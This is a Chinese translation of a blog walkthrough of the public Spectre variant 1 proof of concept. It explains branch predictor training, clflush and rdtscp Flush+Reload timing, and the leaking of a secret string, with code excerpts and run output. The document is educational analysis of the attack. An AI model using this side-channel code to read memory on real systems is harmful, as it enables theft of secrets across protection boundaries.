array1被两个未使用的数组unused1和unused2包围着:这些数组有助于确保我们命中不同的缓存行。在许多处理器上(例如Intel i3,i5,i7,ARM Cortex A53等),L1高速缓存每行有64个字节。
uint8_t unused1 [64];
uint8_t array1 [160] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16};
uint8_t unused2 [64];
第25行就是我们的秘密内容了,这个秘密内容只有受害者知道,也是攻击者尝试获取的内容。
在poc中,攻击者和受害者共享相同的进程,这样便于简化代码。事实上,受害者和攻击者共享一个内存空间,并且攻击者可以调用位于29到35行的victim_function()函数。
27到35行就是问题所在的victim_funtion()函数,第27行是确保在编译期间victim_funtion()函数不会被编译器删除。Victim_funtion()函数在 Spectre paper 的第四部分有详细的描述。一旦x的值超过了array1_size,处理器就会执行下列步骤:
1、 读array1_size的值。这会导致缓存丢失。
2、 当处理器读取array1_size的值时,由于缓存丢失,它是long型的,分支预处理器认为if语句的条件判断为true,然而这次推断是错误的。
3、 推测性的读取array1[x]的内容,缓存命中的缘故所以速度会很快。
4、 读取array2[array1[x] * 512] ,由于缓存丢失,它会是long型的。
5、 当步骤4的读取尚未结束时,步骤1的结果返回了,处理器这才意识到之前的if推断是错误的,并退回之前的状态,但是并没有清除缓存。
uint8_t temp = 0; /* Used so compiler won't optimize out victim_function() */
void victim_function(size_t x)
{
if (x < array1_size)
{
temp &= array2[array1[x] * 512];
}
}
Spectre paper 中提到了k*256,其中k是array1[x](即array1[x]*256),而代码中为什么却是array1[x]*512呢?这是因为乘法因子必须要是高速缓存行的大小,对于大多数英特尔处理器而言,正如我们前面所说的,每行64字节,即64×8=512。不同的处理器这个值也是不同的。
第43行开始是readMemoryByte() 函数,它的功能是推测位于给定地址中的值。无论字节数是多少(此例中是256 byte), 函数将测试使用Flush + Reload缓存攻击的方法访问该值所需的时间。
所有的时间值都存储在results表中,最后仅有2个最优值被返回。
如下代码所示,第52、53行仅仅初始化了result表,不存在缓存攻击。
for (i = 0; i < 256; i++)
results[i] = 0;
缓存攻击是在第54到89行实现的。首先,进行清除工作,我们刷新整个array2表的内容,这个表是和攻击者共享的,并且需要能够存储256个不同的缓存行,每个缓存行大小是512位。
for (i = 0; i < 256; i++)
_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
接下来62到77行的代码,是多次调用victim_function()函数,这一部分的代码执行顺序是:
第一步,刷新缓存行
_mm_clflush(&array1_size);
第二步,确保刷新工作已经完成,并且处理器没有将它序列化。注释中提到,intel 和AMD处理器中的序列化指令mfence也可以替代这个功能,其实cpuid指令也可以实现。
for (volatile int z = 0; z < 100; z++)
{
} /* Delay (can also mfence) */
第三步,是计算x的值,这几行有点难以理解:
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j%6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
第四步,调用victim_function()函数
不必逐行去理解第三步涉及的代码,printf打印输出一下就能看见程序运行的结果:
...
j=23 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=22 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=21 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=20 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=19 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=18 tries=999 malicious_x=18446744073707453224 training_x=7 x=18446744073707453224
j=17 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=16 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=15 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=14 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=13 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=12 tries=999 malicious_x=18446744073707453224 training_x=7 x=18446744073707453224
...
连续五次生成一个较小的x,让victim_function(x)函数执行分支语句,让分支预处理器误认为就改执行这个分支语句,在经过五次这样的训练之后,进程就会在第六次也这样执行代码。
在错误的执行了Victim_function()函数中的分支语句后,我们就知道访问缓存中给定字节的值需要的时间,这也是缓存攻击的核心(第79到89行):
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++)
{
mix_i = ((i * 167) + 13) & 255;
addr = &array2[mix_i * 512];
time1 = __rdtscp(&junk); /* READ TIMER */
junk = *addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
正如注释中所说,我们不是简单地猜测访问序列中每个字节的时间,而是将它们混合在一起,以便处理器无法猜测接下来要访问哪个字节,然后优化访问。这个部分由第82行处理。
然后,第83行, addr = &array2[mix_i * 512] 计算要检查的缓存行的地址。接下来的84到86行,我们定时访问这个缓存行中的每一个值。如果这个速度很快,那就是缓存命中。如果访问速度很慢,那它就是一个缓存缺失。如果是缓存命中,这就意味着之前的缓存行在调用victim_function()函数时被访问过。然而之前调用victim_function()函数时是认为x大于array1_size ,在执行期间,处理器访问了array1[x]数组,可是索引x却是远远大于数组的长度,这就越界读取了内存中的内容。索引x可以调整来读取之前写到“secret”字段中内容,例如,假设处理器读取到了secret字段内容’Magic’的’M’,那么array1[x]=’M’,第33行,处理器就可以越界访问array2[‘M*512’]。
再来看一下第33行的victim_function()函数:
temp &= array2[array1[x] * 512];
当处理器访问到array2['M'*512],它就缓存了’M’的行号。到这里可以知道,像mix_i = array1[x] = 'M'这样的形式就能知道secret字段里面的值了。我们将把它记录下来,result[‘M’]就成为一个缓存命中了:
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
CACHE_HIT_THRESHOLD的测试中可以清楚知道,低于这个值是缓存命中,超过这个值就不是。CACHE_HIT_THRESHOLD的值是多次测试后获得的。为什么它要测试 mix_i != array1[tries % array1_size]?可能是为了排除这个索引,因为它通常会提供更多的缓存命中,因为tries是当前的索引值。
readMemoryByte 函数剩下的部分就很简单了:在缓存命中选择最可能的2个字节值。
现在到118行main()函数的开头:
size_t malicious_x = (size_t)(secret - (char *)array1); /* default for malicious_x */
这部分进程的内存布局中,我们有数组array1,里面是一堆字节,接着是secret字段中的内容。当我们在victim_function()函数中越界读取array1中的内容时,如果想读取secret字段中的内容,我们需要知道一个偏移量。这个偏移量可以这样来计算:array1 + offset = secret,所以,offset = secret - array1 。
第124到130行可以运行“幽灵”代码读取内存其他部分的内容:
if (argc == 3)
{
sscanf_s(argv[1], "%p", (void * *)(&malicious_x));
malicious_x -= (size_t)array1; /* Convert input value into a pointer */
sscanf_s(argv[2], "%d", &len);
printf("Trying malicious_x = %p, len = %d\n", (void *)malicious_x, len);
}
第一个参数是要读取的地址值,第二个参数是声明要读取的字节数。下面的例子提供了secret字段的地址,并且仅仅读取10个字节。
$ ./spectre.out 0x400d08 10
Putting 'The Magic Words are Squeamish Ossifrage.' in memory
Reading 10 bytes:
Reading at malicious_x = 0xffffffffffdfec68 ... Success: 0x54='T' score=2
Reading at malicious_x = 0xffffffffffdfec69 ... Success: 0x68='h' score=2
Reading at malicious_x = 0xffffffffffdfec6a ... Success: 0x65='e' score=2
Reading at malicious_x = 0xffffffffffdfec6b ... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffdfec6c ... Success: 0x4D='M' score=2
Reading at malicious_x = 0xffffffffffdfec6d ... Success: 0x61='a' score=2
Reading at malicious_x = 0xffffffffffdfec6e ... Success: 0x67='g' score=2
Reading at malicious_x = 0xffffffffffdfec6f ... Success: 0x69='i' score=2
Reading at malicious_x = 0xffffffffffdfec70 ... Success: 0x63='c' score=2
Reading at malicious_x = 0xffffffffffdfec71 ... Success: 0x20=' ' score=2
我们也可以读取更多的内容,比如我们这次读取100个字节的内容,更往后一点的“Putting %s in memory”字段的内容就被读取出来了:
$ ./spectre.out 0x400d08 100
...
Reading at malicious_x = 0xffffffffffdfec8f ... Success: 0x2E='.' score=2
Reading at malicious_x = 0xffffffffffdfec90 ... Success: 0x00='?' score=2
Reading at malicious_x = 0xffffffffffdfec91 ... Success: 0x50='P' score=2
Reading at malicious_x = 0xffffffffffdfec92 ... Success: 0x75='u' score=2
Reading at malicious_x = 0xffffffffffdfec93 ... Success: 0x74='t' score=2
Reading at malicious_x = 0xffffffffffdfec94 ... Success: 0x74='t' score=2
Reading at malicious_x = 0xffffffffffdfec95 ... Success: 0x69='i' score=2
Reading at malicious_x = 0xffffffffffdfec96 ... Success: 0x6E='n' score=2
Reading at malicious_x = 0xffffffffffdfec97 ... Success: 0x67='g' score=2
Reading at malicious_x = 0xffffffffffdfec98 ... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffdfec99 ... Success: 0x27=''' score=2
Reading at malicious_x = 0xffffffffffdfec9a ... Success: 0x25='%' score=2
Reading at malicious_x = 0xffffffffffdfec9b ... Success: 0x73='s' score=2
Reading at malicious_x = 0xffffffffffdfec9c ... Success: 0x27=''' score=2
Reading at malicious_x = 0xffffffffffdfec9d ... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffdfec9e ... Success: 0x69='i' score=2
Reading at malicious_x = 0xffffffffffdfec9f ... Success: 0x6E='n' score=2
Reading at malicious_x = 0xffffffffffdfeca0 ... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffdfeca1 ... Success: 0x6D='m' score=2
Reading at malicious_x = 0xffffffffffdfeca2 ... Success: 0x65='e' score=2
Reading at malicious_x = 0xffffffffffdfeca3 ... Success: 0x6D='m' score=2
Reading at malicious_x = 0xffffffffffdfeca4 ... Success: 0x6F='o' score=2
Reading at malicious_x = 0xffffffffffdfeca5 ... Success: 0x72='r' score=2
Reading at malicious_x = 0xffffffffffdfeca6 ... Success: 0x79='y' score=2
Reading at malicious_x = 0xffffffffffdfeca7 ... Success: 0x0A='?' score=2
Reading at malicious_x = 0xffffffffffdfeca8 ... Success: 0x00='?' score=2
第133到145行的代码在内存中试图读取偏移量为malicious_x,长度为len个字节的内容,这个过程是使用“幽灵”代码中的readMemoryByte() 部分来实现的。
while (--len >= 0)
{
printf("Reading at malicious_x = %p... ", (void *)malicious_x);
readMemoryByte(malicious_x++, value, score);
...
回想之前所说的,readMemoryByte()从缓存命中中返回最可能的2个值。经过我的多次尝试后,返回值要么只要一个,要么没有。如果没有,程序会显示“Unclear”。如果有一个或两个值,则显示”Success”并打印值(见第137-144行)。
来源:
https://blog.fortinet.com/2018/01/17/into-the-implementation-of-spectre由看雪翻译小组cherrir编译